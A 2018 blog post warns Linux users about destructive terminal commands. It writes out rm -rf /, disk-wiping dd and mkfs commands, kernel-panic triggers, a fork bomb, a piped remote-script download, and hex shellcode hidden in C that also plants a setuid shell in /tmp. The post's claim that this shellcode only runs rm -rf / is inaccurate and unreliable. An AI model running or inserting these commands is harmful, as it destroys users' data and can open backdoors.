Monday 3 December 2018

Linux's Most Lethal Commands to Never Execute

With the elegant Linux Terminal comes great power and with such great power comes great responsibility, and caution obviously. 

A great resource on the terminal is the use of Bash. Bash is the language of the Linux terminal and it’s powerful. Not only can it run commands but it can also run functions, which makes it easy to write scripts that can automate system tasks. Unfortunately, functions don’t come without their own set of risks.

I am the kind of guy who will tell you to visit the dark net if you know what you are looking for. Likewise, in the terminal, only execute commands which you are certain you know what they do and you are certain about what you want them to do.


Below, i came up with a list of commands which i doubt anyone would be sane enough to want to execute unless...it's a revenge mission on someone else's system; which i don't advise as revenge is often boring ans over so quickly or as Raymond Reddington (James Spader) would tell you:
"Revenge isn't a passion it's a disease that eats at your mind and poison's your soul."

Let's get on with it:

Ultimate Thanos Snap: rm -rf /


I call this command the Thanos snap as executing it will wipe clean all data on your system. Linux gives you the ultimate power to delete anything. This command can wipe an entire hard drive, resulting in unrecoverable system damage.

Note, these days on most Linux systems if you tried doing this you’d get a warning. But the warning isn’t guaranteed, so just don’t do it.

Let's do a little study here:
  • rm command in Linux is used to delete files.
  • rm -r command deletes folders recursively.
  • rm -f command removes ‘Read only File’ without asking.
  • rm -rf / : Forces deletion of everything in root directory which is essentially where your whole Linux system lies.
  • rm -rf * : Forces deletion of everything in current directory/working directory.
  • rm -rf . : Force deletion of current folder and sub folders.  
To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.


Commands Hidden In Codes

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
 
The code above is nothing more than the command first command rm -rf /. The codes have been 
hidden in hex. Compiling and running the above code will wipe clean your entire root partition. 


Formatting the Hard Drive: mkfs.ext3 /dev/hda

Other than recursively deleting your whole root directory wiping all data on your system, you can also wipe a whole hard drive. The command formats the hard drive (might be /dev/hda or /dev/sda e.t.c) to use the ext3 file system, leaving you with a blank drive. The results are unrecoverable.


Overwriting the Hard Drive: command > /dev/hda

The command will overwrite you hard drive with raw data by writing the output of the 'command' on the /dev/hda or /dev/sda, depending on your system, block. All the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.

Replace 'command' with any Bash command. The > operator redirects the output from the command on its left to the file on its right. It won't matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive, making it useless.


Wiping your Hard Drive: dd if=/dev/random of=/dev/sda

A cleaner way to ruin your system. Another unrecoverable stage. No data corruptions or overwrites; it will literally write random junk data to the block /dev/sda. It's exactly how data shredding works.

You write the command this way: dd if=/dev/zero of=/dev/sda and the /dev/sda block gets filled with zeroes.

A Little study:
  • dd command, low-level instruction mostly used to write data to physical drives.
  • if a parameter determining the source of data. I this case source of data is /dev/zero or /dev/random
  • /dev/zero, produces an infinite stream of zeroes.
  • /dev/random, produces an infinite stream of random data bits.
  •  of another parameter determining the destination of the random data or zeroes. in this case destination is /dev/sda


Send Stuff Through a Blackhole: mv folder /dev/null

On Linux, there’s a special file called /dev/null that will discard whatever data is written to it and reports that write operation succeed. "null" in this case is the blackhole, anything sent there has no way of returning. It's gone for good. Be careful using this command, for instance:
  • mv ~/Documents/* /dev/null moves all comtents of the Document's directory to null.
  • mv / /dev/null , this being even dangerous as it moves the systems root directory / into the blackhole /dev/null. This will make your system unusable.


[-] Error: Kernel Panic!!!

Sometimes, in a Linux system, an internal error may occur from which recovery is impossible, so the system will enact something similar to Windows infamous Blue Screen of Death (it's a little rare nowaday's though): a kernel panic.

We can initialize a kernel panic using either of the commands:

dd if=/dev/random of=/dev/port

echo 1 > /proc/sys/kernel/panic

cat /dev/port

cat /dev/zero > /dev/mem

Running any of the above commands will result in a kernel panic, forcing you to reboot your 
system.


Command: :(){:|:&};:

This is a fork bomb. You can view it as a special kind of kernel panic. You can only reboot to get back to normal.
:(){:|:&};:
It operates by defining a function named ‘:‘, which will recursively call itself twice on execution, once in the foreground and once in the background. What this implies, or means is that, on execution, the function spawns two child processes which in turn spawn two other child processes and so on in an infinite loop. Eventually a system freeze occurs. Cool I'd say, right?


Executing a Remote Script: wget http://an-untrusted-url -O- | sh

We all use wget to retrieve the contents of a web page, or download files e.t.c. The command above turn wget into a weapon in that it now downloads a script from a malicious source and then execute it.

Wget downloads the script and sh executes the downloaded script. 

If the url were to point to a malicious script...Just take care to mind where you download scripts and packages.


Disabling Root Command Rights: rm -f /usr/bin/sudo; rm -f /bin/su

This double command uses rm to remove, completely sudo and su commands. These two commands, sudo and su allow you to run commands with root permissions in Linux. Don't make your life a living hell in Linux by running this commands at all. There might be ways to restore them, but it’s not always straightforward nor will it be pleasant, hectic and frustrating at most.
Believe me, you don't wan't to try this one at any one time.


> file

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.


That's all for now. Do experiment with the Linux terminal but also take care not to render your system bricked or unusable and in an unrecoverable state. Just to satisfy your curiosity, you could run some of these commands on a virtual machine or a dedicated Linux system for vulnerability testing and experimenting - i have such, my old home desktop.

1 comment:

Let's Talk Anonymity: A Short Treatise On Anonymity

The internet takes a very serious position in our everyday lives. We do a lot of activities over the web, some of which we would like our ...